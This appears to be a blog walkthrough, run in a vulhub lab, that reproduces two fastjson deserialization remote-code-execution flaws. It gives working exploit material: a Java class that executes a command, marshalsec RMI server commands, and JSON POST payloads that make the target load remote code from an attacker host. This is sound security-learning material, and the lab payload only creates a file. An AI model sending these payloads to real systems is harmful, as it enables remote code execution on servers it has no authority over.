fastjson-1.2.24-rce(CVE-2017-18349)fastjson-1.2.47-rce(CNVD-2019-22238)

news2024/11/17 6:00:11

一.fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
影响范围:Fastjson1.2.24及之前版本
环境:vulhub
工具下载:
marshalsec.jar

1.生成class文件

//javac TouchFile.java  编译,找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2.开启http服务,利用工具进行利用,burp抓包
将编译好的class文件放到当前目录,在当前目录下开启http服务

python -m http.server 8000

使用 marshalsec工具开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999

访问http://192.168.85.128:8090进行burp抓包,发送一下数据包

POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.85.129:9999/TouchFile",
        "autoCommit":true
    }
}

在这里插入图片描述

3.进入容器shell,查看文件

docker ps
docker exec -it f780e8f24b90 /bin/bash
cd /tmp
ls

在这里插入图片描述

二.Fastjson 1.2.47 远程命令执行漏洞(CNVD-2019-22238)

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响范围:Fastjson1.2.47以及之前的所有版本
环境:vulhub

工具下载:
marshalsec.jar

1.生成class文件

//javac TouchFile.java  编译,找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2.开启http服务,利用工具进行利用,burp抓包
将编译好的class文件放到当前目录,在当前目录下开启http服务

python -m http.server 8000

使用 marshalsec工具开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999

访问http://192.168.85.128:8090进行burp抓包,发送一下数据包
“dataSourceName”:“rmi://192.168.85.129:9999/Exploit"和"dataSourceName”:"rmi://192.168.85.129:9999/TouchFile”都可以

POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.85.129:9999/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述
3.进入容器shell,查看文件

docker ps
docker exec -it 2be14733a78a  /bin/bash
cd /tmp
ls

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/934949.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode 刷题第四轮 Offer I + 类型题

目录 剑指 Offer 04. 二维数组中的查找 剑指 Offer 29. 顺时针打印矩阵 剑指 Offer 09. 用两个栈实现队列 剑指 Offer 30. 包含min函数的栈 剑指 Offer 10- I. 斐波那契数列 [类型:记忆优化 递归 / 动态规划] 剑指 Offer 10- II. 青蛙跳台阶问题 [类型&am…

AcWing算法提高课-5.5.2最大公约数

宣传一下 算法提高课整理 CSDN个人主页:更好的阅读体验 原题链接 题目描述 给定整数 N N N,求 1 ≤ x , y ≤ N 1 \le x,y \le N 1≤x,y≤N 且 gcd ⁡ ( x , y ) \gcd(x,y) gcd(x,y) 为素数的数对 ( x , y ) (x,y) (x,y) 有多少对。 输入格式 输…

pandas由入门到精通-数据清洗-缺失值处理

pandas-02-数据清洗&预处理 A.缺失值处理1. Pandas缺失值判断2. 缺失值过滤2.1 Series.dropna()2.2 DataFrame.dropna()3. 缺失值填充3.1 值填充3.2 向前/向后填充文中用S代指Series,用Df代指DataFrame 数据清洗是处理大型复杂情况数据必不可少的步骤,这里总结一些数据清…

数字基带传输系统

文章目录 前言一、数字基带系统基本组成二、基本码型1、数字基带信号2、6 种基本码型 三、数字基带信号的频谱特性四、数字基带信号选码1、原则2、常用的传输码型①、AMI 码(传号交替反转码)②、 H D B 3 HDB_3 HDB3​ 码(3 阶高密度双极性码…

GeoHash之存储篇

前言: 在上一篇文章GeoHash——滴滴打车如何找出方圆一千米内的乘客主要介绍了GeoHash的应用是如何的,本篇文章我想要带大家探索一下使用什么样的数据结构去存储这些Base32编码的经纬度能够节省内存并且提高查询的效率。 前缀树、跳表介绍: …

京东话费直充系统——轻松充值移动、联通、电信三大运营商的通话套餐

京东三网话费直充系统/移动联通电信话费三网直充/三网话费直充系统 系统特性: ①、移动,联通,电信话费使用微信H5/支付宝H5 ②、移动话费/联通话费/电信话费额度支持1-任意额度(不得超过官网所支持的额度) ③、系统实测每分钟…

pandas由入门到精通-数据透视表

采集的数据存储后通常会分为多个文件或数据库,如何将这些文件按需拼接,或按键进行连接十分重要。这节将介绍数据索引的复杂操作如分层索引,stack,unstack,seet_index,reset_index等帮助重构数据,数据的拼接如merge,join,concat,combine_first等帮助连接数据,以及数据透视表…

全球首家?梅赛德斯-奔驰将在成都启动超级充电站,功率高达480kW

根据官方宣布的消息,梅赛德斯-奔驰将在中国启动充电功率高达480kW的首批超级充电站建设项目。这些超级充电站将成为全球首家梅赛德斯-奔驰品牌的充电站,并计划于今年10月在成都投入使用。 除了成都,这些充电站还将陆续在包括北京、深圳等其他…

AI 绘画Stable Diffusion 研究(十七)SD lora 详解(上)

大家好,我是风雨无阻。 本期内容: Lora的原理是什么?Lora如何下载安装?Lora如何使用? 大家还记得 AI 绘画Stable Diffusion 研究(三)sd模型种类介绍及安装使用详解 这篇文章中,曾简…

2022年12月 C/C++(四级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题:开餐馆 北大信息学院的同学小明毕业之后打算创业开餐馆.现在共有n 个地点可供选择。小明打算从中选择合适的位置开设一些餐馆。这 n 个地点排列在同一条直线上。我们用一个整数序列m1, m2, … mn 来表示他们的相对位置。由于地段关系,开餐馆的利润会有所不同。我们用pi …

DELL Power Edge R740 安装 OracleLinux-R7-U9-Server

一、准备好 OracleLinux-R7-U9-Server-x86_64-dvd 安装介子: 二、通过 iDRAC挂dvd 安装介子 三、在 iDRAC 开机控制选择虚拟 CD/DCD/ISO 电源控制选择 复位系统(热启动) 四、进入安装阶段 五、配置时区 六、配置磁盘 七、删除之前的旧分区 …

力与美的交响丨远航Y6全国媒体试驾会成都举办,实力演绎中式豪华+极致性能

8月24日,四川成都,远航Y6全国媒体试驾会圆满举办。来自全国的近百家媒体亲身试乘试驾,深度感受远航Y6诠释的高端豪华新体验。 绵绵细雨难掩相聚的热情。远航汽车自去年成都车展正式发布亮相,就与成都结下了不解之缘。历经一年的持…

Nginx全局配置

一、修改启动进程数 worker_processes 1; #允许的启动工作进程数数量,和你真实的cpu数量有关 1 worker_processes auto; #如果设置为auto 就是你真实的cpu数量 ps axo pid,cmd,psr,ni|grep nginx #可以看到 nginx的 worker数量 二、日制分割 [rootyuji ~]#…

C语言小练习(五)

🌞 忘掉那些“不可能”的借口吧,去坚持一个“可能”的理由,请给时间一点时间,让开始开始,只要肯努力,总会成功的! Day05 📝 选择题 📝 选择题 🎈1、如下程序…

IA-YOLO项目中DIP模块的初级解读

IA-YOLO项目源自论文Image-Adaptive YOLO for Object Detection in Adverse Weather Conditions,其提出端到端方式联合学习CNN-PP和YOLOv3,这确保了CNN-PP可以学习适当的DIP,以弱监督的方式增强图像检测。IA-YOLO方法可以自适应地处理正常和不…

构建数据可视化(基于Echarts,python)

构建数据可视化(基于Echarts,python) 本文目录: 一、写在前面的题外话 二、数据可视化概念 三、用Python matplotlib库绘制数据可视化图 四、基于Echarts构建大数据可视化 4.1、安装echarts.js 4.2、数据可视化折线图制作 4.2.1、基础折线图 4.2…

安全开发-JS应用NodeJS指南原型链污染Express框架功能实现审计WebPack打包器第三方库JQuery安装使用安全检测

文章内容 环境搭建-NodeJS-解析安装&库安装安全问题-NodeJS-注入&RCE&原型链案例分析-NodeJS-CTF题目&源码审计打包器-WebPack-使用&安全第三方库-JQuery-使用&安全 环境搭建-NodeJS-解析安装&库安装 Node.js是运行在服务端的JavaScript 文档参考…

3张图打造个人写真照,你也可以AIGC

前阵子,妙鸭相机的出现,9.9的价格,让大家过了一把写真照的瘾。 最近自己也开始关注一些大数据模型相关的内容,有时会想想,有没哪些比较好的模型,能够运用在手机移动端。然后我们实际生活中又会有哪些应用需…

【C++】map的奇葩用法:和函数结合

2023年8月26日&#xff0c;周六下午 今天才发现map居然还能这样用... #include <iostream> #include <map> #include <functional>void printOne() {std::cout << "已经打印出1" << std::endl; }void printTwo() {std::cout <<…

Vue2向Vue3过度核心技术指令补充

目录 1 指令修饰符1.1 什么是指令修饰符&#xff1f;1.2 按键修饰符1.3 v-model修饰符1.4 事件修饰符 2 v-bind对样式控制的增强-操作class2.1 语法&#xff1a;2.2 对象语法2.3 数组语法2.4 代码练习 3 京东秒杀-tab栏切换导航高亮3.1 需求&#xff1a;3.2 准备代码:3.3 思路&…